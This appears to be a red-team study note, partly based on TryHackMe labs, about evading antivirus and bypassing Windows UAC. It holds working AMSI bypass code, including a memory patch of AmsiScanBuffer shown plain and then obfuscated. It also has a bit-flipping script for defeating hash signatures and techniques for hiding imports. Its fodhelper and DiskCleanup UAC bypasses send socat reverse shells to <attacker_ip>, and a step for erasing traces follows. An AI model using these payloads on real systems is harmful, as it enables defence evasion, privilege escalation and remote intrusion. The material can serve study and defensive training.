00000010 2C 00 22 00 74 00 6F 00 6B 00 65 00 6E 00 22 00 ,·"·t·o·k·e·n·"·
00000020 3A 00 7B 00 33 00 7D 00 7D 00 7D 00 00 43 7B 00 :·{·3·}·}·}··C{·
00000030 7B 00 22 00 73 00 74 00 61 00 74 00 75 00 73 00 {·"·s·t·a·t·u·s·
00000040 22 00 3A 00 22 00 7B 00 30 00 7D 00 22 00 2C 00 "·:·"·{·0·}·"·,·
00000050 22 00 6F 00 75 00 74 00 70 00 75 00 74 00 22 00 "·o·u·t·p·u·t·"·
00000060 3A 00 22 00 7B 00 31 00 7D 00 22 00 7D 00 7D 00 :·"·{·1·}·"·}·}·
00000070 00 80 B3 7B 00 7B 00 22 00 47 00 55 00 49 00 44 ·?³{·{·"·G·U·I·D
00000080 00 22 00 3A 00 22 00 7B 00 30 00 7D 00 22 00 2C ·"·:·"·{·0·}·"·,
00000090 00 22 00 54 00 79 00 70 00 65 00 22 00 3A 00 7B ·"·T·y·p·e·"·:·{
000000A0 00 31 00 7D 00 2C 00 22 00 4D 00 65 00 74 00 61 ·1·}·,·"·M·e·t·a
000000B0 00 22 00 3A 00 22 00 7B 00 32 00 7D 00 22 00 2C ·"·:·"·{·2·}·"·,
000000C0 00 22 00 49 00 56 00 22 00 3A 00 22 00 7B 00 33 ·"·I·V·"·:·"·{·3
000000D0 00 7D 00 22 00 2C 00 22 00 45 00 6E 00 63 00 72 ·}·"·,·"·E·n·c·r
000000E0 00 79 00 70 00 74 00 65 00 64 00 4D 00 65 00 73 ·y·p·t·e·d·M·e·s
000000F0 00 73 00 61 00 67 00 65 00 22 00 3A 00 22 00 7B ·s·a·g·e·"·:·"·{
AmsiTrigger
GitHub – RythmStick/AMSITrigger: The Hunt for Malicious Strings
AMSI leverages the runtime, making signatures harder to identify and resolve. ThreatCheck does not support certain file types such as PowerShell that AMSITrigger does.
PS C:\> .\amsitrigger.exe -i bypass.ps1 -f 3
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
Static Code-Based Signatures
Once we have identified a troublesome signature we need to decide how we want to deal with it.
Obfuscating methods
Obfuscation Method | Purpose |
Method Proxy | Creates a proxy method or a replacement object |
Method Scattering/Aggregation | Combine multiple methods into one or scatter a method into several |
Method Clone | Create replicas of a method and randomly call each |
Obfuscating Classes
Obfuscation Method | Purpose |
Class Hierarchy Flattening | Create proxies for classes using interfaces |
Class Splitting/Coalescing | Transfer local variables or instruction groups to another class |
Dropping Modifiers | Remove class modifiers (public, private) and make all members public |
Splitting and Merging Objects
The premise behind this concept is looking to create a new object function that can break the signature while maintaining the previous functionality.
Using Custom Covenant Listener Profiles & Grunt Templates to Elude AV – Offensive Defence
Original String
Below is the original string that is detected
string MessageFormat = @"{{""GUID"":""{0}"",""Type"":{1},""Meta"":""{2},""IV"":""{3}"",""EncryptedMessage"":""{4}"",""HMAC"":""{5}""}}";
Obfuscated Method
Below is the new class used to replace and concatenate the string.
public static string GetMessageFormat // Format the public method
{
get // Return the property value
{
var sb = new StringBuilder(@"{{""GUID"":""{0}"","); // Start the built-in concatenation method
sb.Append(@"""Type"":{1},"); // Append substrings onto the string
sb.Append(@"""Meta"":""{2}"",");
sb.Append(@"""IV"":""{3}"",");
sb.Append(@"""EncryptedMessage"":""{4}"",");
sb.Append(@"""HMAC"":""{5}""}}");
return sb.ToString(); // Return the concatenated string to the class
}
}
string MessageFormat = GetMessageFormat
Removing and Obscuring Identifiable Information
The process of removing or obscuring identifiable information to protect privacy and maintain anonymity.
In the task below AmsiTrigger detected that “AmsiScanBuffer” is triggered. So we have to obfuscate it.
Original
This code loads the Kernel32
type, retrieves the address of the AmsiScanBuffer
function, modifies the memory protection, and overwrites the function with custom bytes, potentially altering its behavior or rendering it ineffective.
$MethodDefinition = "
[DllImport(`"kernel32`")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport(`"kernel32`")]
public static extern IntPtr GetModuleHandle(string lpModuleName);
[DllImport(`"kernel32`")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
";
$Kernel32 = Add-Type -MemberDefinition $MethodDefinition -Name 'Kernel32' -NameSpace 'Win32' -PassThru;
$A = "AmsiScanBuffer"
$handle = [Win32.Kernel32]::GetModuleHandle('amsi.dll');
[IntPtr]$BufferAddress = [Win32.Kernel32]::GetProcAddress($handle, $A);
[UInt32]$Size = 0x5;
[UInt32]$ProtectFlag = 0x40;
[UInt32]$OldProtectFlag = 0;
[Win32.Kernel32]::VirtualProtect($BufferAddress, $Size, $ProtectFlag, [Ref]$OldProtectFlag);
$buf = [Byte[]]([UInt32]0xB8,[UInt32]0x57, [UInt32]0x00, [Uint32]0x07, [Uint32]0x80, [Uint32]0xC3);
[system.runtime.interopservices.marshal]::copy($buf, 0, $BufferAddress, 6);
Obscured
$MethodDefinition = "
[DllImport(`"kernel32`")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport(`"kernel32`")]
public static extern IntPtr GetModuleHandle(string lpModuleName);
[DllImport(`"kernel32`")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
";
$Kernel32 = Add-Type -MemberDefinition $MethodDefinition -Name 'Kernel32' -NameSpace 'Win32' -PassThru;
$A = $([char[]](65, 109, 115, 105, 83, 99, 97, 110, 66, 117, 102, 102, 101, 114))[14..1] -join ''
$handle = [Win32.Kernel32]::GetModuleHandle('amsi.dll');
[IntPtr]$BufferAddress = [Win32.Kernel32]::GetProcAddress($handle, $A);
[UInt32]$Size = 0x5;
[UInt32]$ProtectFlag = 0x40;
[UInt32]$OldProtectFlag = 0;
[Win32.Kernel32]::VirtualProtect($BufferAddress, $Size, $ProtectFlag, [Ref]$OldProtectFlag);
$buf = [Byte[]]([UInt32]0xB8,[UInt32]0x57, [UInt32]0x00, [Uint32]0x07, [Uint32]0x80, [Uint32]0xC3);
[system.runtime.interopservices.marshal]::copy($buf, 0, $BufferAddress, 6);
Static Property-Based Signatures
Different detection engines and analysts use various indicators, beyond strings or static signatures, to form hypotheses. These indicators can be associated with file properties such as hash, entropy, author, name, or other identifiable information, utilized individually or collectively, often through rule sets like YARA or Sigma.
File hashes
A file hash, also known as a checksum, is used to tag/identify a unique file.
If we have access to the source for an application, we can modify any arbitrary section of the code and re-compile it to create a new hash.
When dealing with a signed or closed-source application, we must employ bit-flipping.
Bit-flipping is a common cryptographic attack that will mutate a given application by flipping and testing each possible bit until it finds a viable bit. By flipping one viable bit, it will change the signature and hash of the application while maintaining all functionality.
using System;
using System.IO;
class Program
{
static void Main(string[] args)
{
byte[] orig = File.ReadAllBytes(args[0]);
for (int i = 0; i < orig.Length; i++)
{
byte[] current = new byte[orig.Length];
Array.Copy(orig, current, orig.Length);
current[i] = (byte)(current[i] ^ 0xde);
string path = $"{i}.exe";
File.WriteAllBytes(path, current);
}
Console.WriteLine("done");
}
}
This C# code reads the binary file specified as the command-line argument, performs bit-flipping on each byte, and creates mutated variants of the file by writing them to separate files (i.exe
). The ^
operator is used for bitwise XOR operation to flip the bits. Finally, it prints “done” when the process is completed.
Once the list is created, we must search for intact unique properties of the file. For example, if we are bit-flipping msbuild
, we need to use signtool
to search for a file with a useable certificate. This will guarantee that the functionality of the file is not broken, and the application will maintain its signed attribution.
We can leverage a script to loop through the bit-flipped list and verify functional variants. Below is an example of a batch script implementation.
FOR /L %%A IN (1,1,10000) DO (
signtool verify /v /a flipped\\%%A.exe
)
Entropy
Entropy is a measure of data randomness used by EDRs and scanners to detect suspicious files. Obfuscated scripts can pose challenges for entropy-based analysis. To reduce entropy, we can replace random identifiers with English words. Comparing entropy values can demonstrate the effectiveness of identifier changes. EDRs typically consider entropy values above 6.8 as suspicious. However, entropy alone is not conclusive evidence and is used in conjunction with other indicators.
Behavioral Signatures
Obfuscating functions and properties can have significant impacts with minimal modifications. However, modern anti-virus engines employ various techniques, such as observing imports and hooking known malicious calls, to detect suspicious behavior. While imports can be easily obfuscated, hooking requires more complex techniques. API calls play a crucial role in determining file suspiciousness, and their addresses are obtained dynamically using the Windows loader and the Import Address Table (IAT) in the PE header.
Windows Sockets 2 – Win32 apps | Microsoft Learn
Find Syntax for API calls
How to inspect Import Address Table (IAT)
.EXE
To inspect the Import Address Table (IAT) of an EXE file, you can use various tools and techniques depending on your platform. Here are a few examples:
- Using Dependency Walker (Windows):
- Download and install Dependency Walker from the official website: http://www.dependencywalker.com/
- Launch Dependency Walker and open the EXE file you want to inspect.
- It will display a hierarchical view of the imported functions and the corresponding DLLs in the IAT.
- Using PEView (Windows):
- Download and install PEView from the official website: http://wjradburn.com/software/
- Launch PEView and open the EXE file you want to inspect.
- Navigate to the “Imported DLLs” section, which will show the imported functions and the corresponding DLLs in the IAT.
- Using objdump (Linux):
- Open a terminal and navigate to the directory where the EXE file is located.
- Run the following command to display the IAT:
objdump -p <binary_file>
- Replace
<binary_file>
with the name of your EXE file. - Look for the “Dynamic Section” or “Import Section” in the output. It will contain information about imported symbols and the corresponding shared libraries.
2. Using PE Explorer
PE Explorer: EXE File Editor, DLL View Scan Tool for 32-bit Windows PE files. (pe-explorer.com)
3. Using IDA Pro
- Load the PE binary
- Once loaded, click on the “Imports” tab.
- Look for the API calls.
.ELF
To inspect the Import Address Table (IAT) of an ELF (Executable and Linkable Format) file, you can use various tools and techniques depending on your platform. Here are a few examples:
- Using readelf (Linux):
- Open a terminal and navigate to the directory where the ELF file is located.
- Run the following command to display the dynamic section and imported symbols:
readelf -d <binary_file>
Replace<binary_file>
with the name of your ELF file. - Look for the “Dynamic Section” in the output. It will contain information about imported symbols and the corresponding shared libraries.
- Using objdump (Linux):
- Open a terminal and navigate to the directory where the ELF file is located.
- Run the following command to display the dynamic section and imported symbols:
objdump -p <binary_file>
Replace<binary_file>
with the name of your ELF file. - Look for the “Dynamic Section” or “Import Section” in the output. It will contain information about imported symbols and the corresponding shared libraries.
- Using nm (Linux):
- Open a terminal and navigate to the directory where the ELF file is located.
- Run the following command to display the symbols and their associated libraries:
nm -D <binary_file>
Replace<binary_file>
with the name of your ELF file. - Look for the symbols starting with “U” (meaning undefined). These symbols represent imported functions.
High-level Dynamic Loading in C
At a high level, we can break up dynamic loading in C languages into four steps,
- Define the structure of the call
- Obtain the handle of the module the call address is present in
- Obtain the process address of the call
- Use the newly created call
To begin dynamically loading an API call, we must first define a structure for the call before the main function. The call structure will define any inputs or outputs that may be required for the call to function. We can find structures for a specific call on the Microsoft documentation. For example, the structure for GetComputerNameA
can be found here. Because we are implementing this as a new call in C, the syntax must change a little, but the structure stays the same, as seen below.
// 1. Define the structure of the call
typedef BOOL (WINAPI* myNotGetComputerNameA)(
LPSTR lpBuffer,
LPDWORD nSize
);
To access the address of the API call, we must first load the library where it is defined. We will define this in the main function. This is commonly kernel32.dll
or ntdll.dll
for any Windows API calls. Below is an example of the syntax required to load a library into a module handle.
// 2. Obtain the handle of the module the call address is present in
HMODULE hkernel32 = LoadLibraryA("kernel32.dll");
Using the previously loaded module, we can obtain the process address for the specified API call. This will come directly after the LoadLibrary
call. We can store this call by casting it along with the previously defined structure. Below is an example of the syntax required to obtain the API call.
// 3. Obtain the process address of the call
myNotGetComputerNameA notGetComputerNameA = (myNotGetComputerNameA) GetProcAddress(hkernel32, "GetComputerNameA");
Although this method solves many concerns and problems, there are still several considerations that must be noted. Firstly, GetProcAddress
and LoadLibraryA
are still present in the IAT; although not a direct indicator it can lead to or reinforce suspicion; this problem can be solved using PIC (Position Independent Code). Modern agents will also hook specific functions and monitor kernel interactions; this can be solved using API unhooking.
Task
Obfuscate the following C snippet, ensuring no suspicious API calls are present in the IAT.
Original
#include <windows.h>
#include <stdio.h>
#include <lm.h>
int main() {
printf("GetComputerNameA: 0x%p\\n", GetComputerNameA);
CHAR hostName[260];
DWORD hostNameLength = 260;
if (GetComputerNameA(hostName, &hostNameLength)) {
printf("hostname: %s\\n", hostName);
}
}
Obfuscated
#include <windows.h>
#include <stdio.h>
#include <lm.h>
// 1. Define the structure of the call
typedef BOOL(WINAPI* myNotGetComputerNameA)(
LPSTR lpBuffer,
LPDWORD nSize
);
int main() {
// 2. Obtain the handle of the module the call address is present in
HMODULE hkernel32 = LoadLibraryA("kernel32.dll");
// 3. Obtain the process address of the call
myNotGetComputerNameA notGetComputerNameA = (myNotGetComputerNameA)GetProcAddress(hkernel32, "GetComputerNameA");
printf("notGetComputerNameA: 0x%p\\n", GetComputerNameA);
CHAR hostName[260];
DWORD hostNameLength = 260;
if (notGetComputerNameA(hostName, &hostNameLength)) {
printf("hostname: %s\\n", hostName);
}
}
UAC Bypass
User Account Control
What is UAC?
User Account Control (UAC) is a Windows security feature that forces any new process to run in the security context of a non-privileged account by default. This policy applies to processes started by any user, including administrators themselves. The idea is that we can’t solely rely on the user’s identity to determine if some actions should be authorized.
Imagine you are using your computer and you receive an email with an attached file. The email claims to be from a trusted source, but you’re not entirely sure if it’s legitimate. Without thinking much about it, you download and open the file.
Now, let’s consider two scenarios: one with UAC disabled and the other with UAC enabled.
- UAC Disabled: In this scenario, your computer has UAC disabled, and you are logged in as an administrator. When you open the file, the malicious program hidden within it gains instant access to your administrator privileges. It can then carry out various actions on your computer without any restrictions. It might modify system settings, delete important files, or install other malware without your knowledge or consent. The consequences can be severe, and your computer’s security is at risk.
- UAC Enabled: In this scenario, UAC is enabled on your computer, and you are logged in as an administrator. When you open the file, UAC recognizes that a new program is attempting to run and triggers a prompt. The prompt asks for your explicit approval to run the program with administrative privileges. At this point, you become aware that something is trying to gain elevated access to your system. You can review the prompt, assess the legitimacy of the program, and decide whether to authorize its execution. If you’re suspicious or uncertain about the file’s source, you can deny the request and prevent the malicious program from gaining administrator privileges. By enabling UAC, you have added a layer of protection that helps prevent unauthorized actions and potential damage to your computer.
Integrity Levels
UAC, or User Account Control, is a security feature in Windows that uses something called Mandatory Integrity Control (MIC). It helps keep things safe by giving different levels of access to users, programs, and files. Imagine it like giving different security badges to different people.
UAC and MIC use Integrity Levels (ILs) to determine who can access what. Think of ILs as different ranks or levels of access. If you have a higher IL, you can access resources with lower or equal ILs. It’s like having a higher security clearance that allows you to enter certain areas.
In simple terms, UAC and MIC make sure that users, programs, and files have different access levels. It’s like giving different security badges to different people, and the highest badge gets the most access. MIC is in charge and overrides the regular rules, so even if you have permission, your access depends on your IL.
The following 4 ILs are used by Windows, ordered from lowest to highest:
Integrity Level | Use |
Low | Generally used for interaction with the Internet (i.e. Internet Explorer). Has very limited permissions. |
Medium | Assigned to standard users and Administrators’ filtered tokens. |
High | Used by Administrators’ elevated tokens if UAC is enabled. If UAC is disabled, all administrators will always use a high IL token. |
System | Reserved for system use. |
Filtered Tokens
To accomplish this separation of roles, UAC treats regular users and administrators in a slightly different way during logon:
- Non-administrators will receive a single access token when logged in, which will be used for all tasks performed by the user. This token has Medium IL.
- Administrators will receive two access tokens:
- Filtered Token: A token with Administrator privileges stripped, used for regular operations. This token has Medium IL.
- Elevated Token: A token with full Administrator privileges, used when something needs to be run with administrative privileges. This token has High IL.
UAC Internals
At the heart of UAC, we have the Application Information Service or Appinfo. Whenever a user requires elevation, the following occurs:
- The user requests to run an application as administrator.
- A ShellExecute API call is made using the runas verb.
- The request gets forwarded to Appinfo to handle elevation.
- The application manifest is checked to see if AutoElevation is allowed (more on this later).
- Appinfo executes consent.exe, which shows the UAC prompt on a secure desktop. A secure desktop is simply a separate desktop that isolates processes from whatever is running in the actual user’s desktop to avoid other processes from tampering with the UAC prompt in any way.
- If the user gives consent to run the application as administrator, the Appinfo service will execute the request using a user’s Elevated Token. Appinfo will then set the parent process ID of the new process to point to the shell from which elevation was requested.
UAC – GUI based Bypass
msconfig
azman.msc
UAC – Auto-elevating Process
Some executables can auto-elevate, achieving high IL without any user intervention. This applies to most of the Control Panel’s functionality and some executables provided with Windows.
For an application, some requirements need to be met to auto-elevate:
- The executable must be signed by the Windows Publisher
- The executable must be contained in a trusted directory, like
%SystemRoot%/System32/
or%ProgramFiles%/
Some application may have additional requirments:
- Executable files (.exe) must declare the autoElevate element inside their manifests.
To check a file’s manifest, we can use sigcheck.
C:\tools\> sigcheck64.exe -m c:/windows/system32/msconfig.exe
...
<asmv3:application>
<asmv3:windowsSettings xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">
<dpiAware>true</dpiAware>
<autoElevate>true</autoElevate>
</asmv3:windowsSettings>
</asmv3:application>
Case study: Fodhelper
This will be caught by Windows defender without obfuscation because of registry-key manipulation.
# This UAC bypass tries to execute your command with elevated privileges using fodhelper.exe
# Define the command you want to execute with elevated privileges
$yourevilcommand = "C:\Windows\System32\cmd.exe"
# Adding all the registry keys required to associate your command with ms-settings
# Create a new registry key for the ms-settings ProgID under the current user's hive
New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force
# Create a new registry value called DelegateExecute with an empty value under the ms-settings ProgID key
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force
# Set the default value of the ms-settings ProgID key to your evil command
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value $yourevilcommand -Force
# Start the fodhelper process to execute your command with elevated privileges
Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden
# Cleaning up the mess created by removing the ms-settings registry key and its subkeys
Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force
UAC – Improving Fodhelper exploit to Bypass Windows Defender
Instead of writing our payload into HKCU\Software\Classes\ms-settings\Shell\Open\command
, we will use the CurVer
entry under a progID registry key. This entry is used when you have multiple instances of an application with different versions running on the same system. CurVer allows you to point to the default version of the application to be used by Windows when opening a given file type.
To this end, we will create an entry on the registry for a new progID of our choice (any name will do) and then point the CurVer entry in the ms-settings progID to our newly created progID. This way, when fodhelper tries opening a file using the ms-settings progID, it will notice the CurVer entry pointing to our new progID and check it to see what command to use.
The exploit code proposed by @V3ded.
This will still be caught by Windows Defender, but the idea here is to play around with different ways to bypass AV.
# Define the command you want to execute with elevated privileges
$program = "powershell -windowstyle hidden C:\tools\socat\socat.exe TCP:<attacker_ip>:4445 EXEC:cmd.exe,pipes"
# Creating file association for custom extension ".pwn" to execute your command
# Create a new registry key for the file extension ".pwn" under the current user's hive
New-Item "HKCU:\Software\Classes\.pwn\Shell\Open\command" -Force
# Set the default value of the ".pwn" key to your program/command
Set-ItemProperty "HKCU:\Software\Classes\.pwn\Shell\Open\command" -Name "(default)" -Value $program -Force
# Create a new registry key under the current user's hive for the ms-settings ProgID association
New-Item -Path "HKCU:\Software\Classes\ms-settings\CurVer" -Force
# Set the default value of the ms-settings CurVer key to ".pwn" (your custom extension)
Set-ItemProperty "HKCU:\Software\Classes\ms-settings\CurVer" -Name "(default)" -Value ".pwn" -Force
# Start the fodhelper process to execute your command with elevated privileges
Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden
Case study: Disk Cleanup Scheduled Task
Source: TryHackMe | Bypassing UAC
To understand why we are picking Disk Cleanup, let’s open the Task Scheduler and check the task’s configuration:
Here we can see that the task is configured to run with the Users account, which means it will inherit the privileges from the calling user. The Run with highest privileges option will use the highest privilege security token available to the calling user, which is a high IL token for an administrator. Notice that if a regular non-admin user invokes this task, it will execute with medium IL only since that is the highest privilege token available to non-admins, and therefore the bypass wouldn’t work.
Checking the Actions and Settings tabs, we have the following:
The task can be run on-demand, executing the following command when invoked:
%windir%\system32\cleanmgr.exe /autoclean /d %systemdrive%
Since the command depends on environment variables, we might be able to inject commands through them and get them executed by starting the DiskCleanup task manually.
Luckily for us, we can override the %windir%
variable through the registry by creating an entry in HKCU\Environment
. If we want to execute a reverse shell using socat, we can set %windir%
as follows (without the quotes):
"cmd.exe /c C:\tools\socat\socat.exe TCP:<attacker_ip>:4445 EXEC:cmd.exe,pipes &REM "
At the end of our command, we concatenate “&REM ” (ending with a blank space) to comment whatever is put after %windir%
when expanding the environment variable to get the final command used by DiskCleanup. The resulting command would be (be sure to replace your IP address where needed):
cmd.exe /c C:\tools\socat\socat.exe TCP:<attacker_ip>:4445 EXEC:cmd.exe,pipes &REM \system32\cleanmgr.exe /autoclean /d %systemdrive%
Where anything after the “REM” is ignored as a comment.
Putting it all together
Let’s set up a listener for a reverse shell with nc:nc -lvp 4446
We will then connect to the backdoor provided on port 9999:nc MACHINE_IP 9999
And finally, run the following commands to write our payload to %windir%
and then execute the DiskCleanup task (be sure to replace your IP address where needed):
C:\> reg add "HKCU\Environment" /v "windir" /d "cmd.exe /c C:\tools\socat\socat.exe TCP:<attacker_ip>:4446 EXEC:cmd.exe,pipes &REM " /f
C:\> schtasks /run /tn \Microsoft\Windows\DiskCleanup\SilentCleanup /I
As a result, you should obtain a shell with high IL:
user@kali$ nc -lvp 4446
Listening on 0.0.0.0 4446
Connection received on 10.10.183.127 25631
Microsoft Windows [Version 10.0.17763.1821]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami /groups | find "Label"
Mandatory Label\High Mandatory Level Label S-1-16-12288
To retrieve the DiskCleanup flag, use your new shell to execute:
Administrator: Command Prompt
C:\flags\GetFlag-diskcleanup.exe
Clearing our tracks
As a result of executing this exploit, some artefacts were created on the target system, such as registry keys. To avoid detection, we need to clean up after ourselves with the following command:
reg delete "HKCU\Environment" /v "windir" /f
Living off the Land
What is Living off the Land?
“Living Off the Land” refers to a technique used by attackers or hackers to leverage existing tools, utilities, or features that are already present on a targeted system or network for malicious purposes. Rather than relying on sophisticated malware or external tools, attackers exploit legitimate software or built-in functionalities to carry out their activities, making it harder to detect their actions.
Windows Sysinternals
The following are some popular Windows Sysinternals tools:
AccessChk | Helps system administrators check specified access for files, directories, Registry keys, global objects, and Windows services. |
PsExec | A tool that executes programs on a remote system. |
ADExplorer | An advanced Active Directory tool that helps to easily view and manage the AD database. |
ProcDump | Monitors running processes for CPU spikes and the ability to dump memory for further analysis. |
ProcMon | An essential tool for process monitoring. |
TCPView | A tool that lists all TCP and UDP connections. |
PsTools | The first tool designed in the Sysinternals suite to help list detailed information. |
Portmon | Monitors and displays all serial and parallel port activity on a system. |
Whois | Provides information for a specified domain name or IP address. |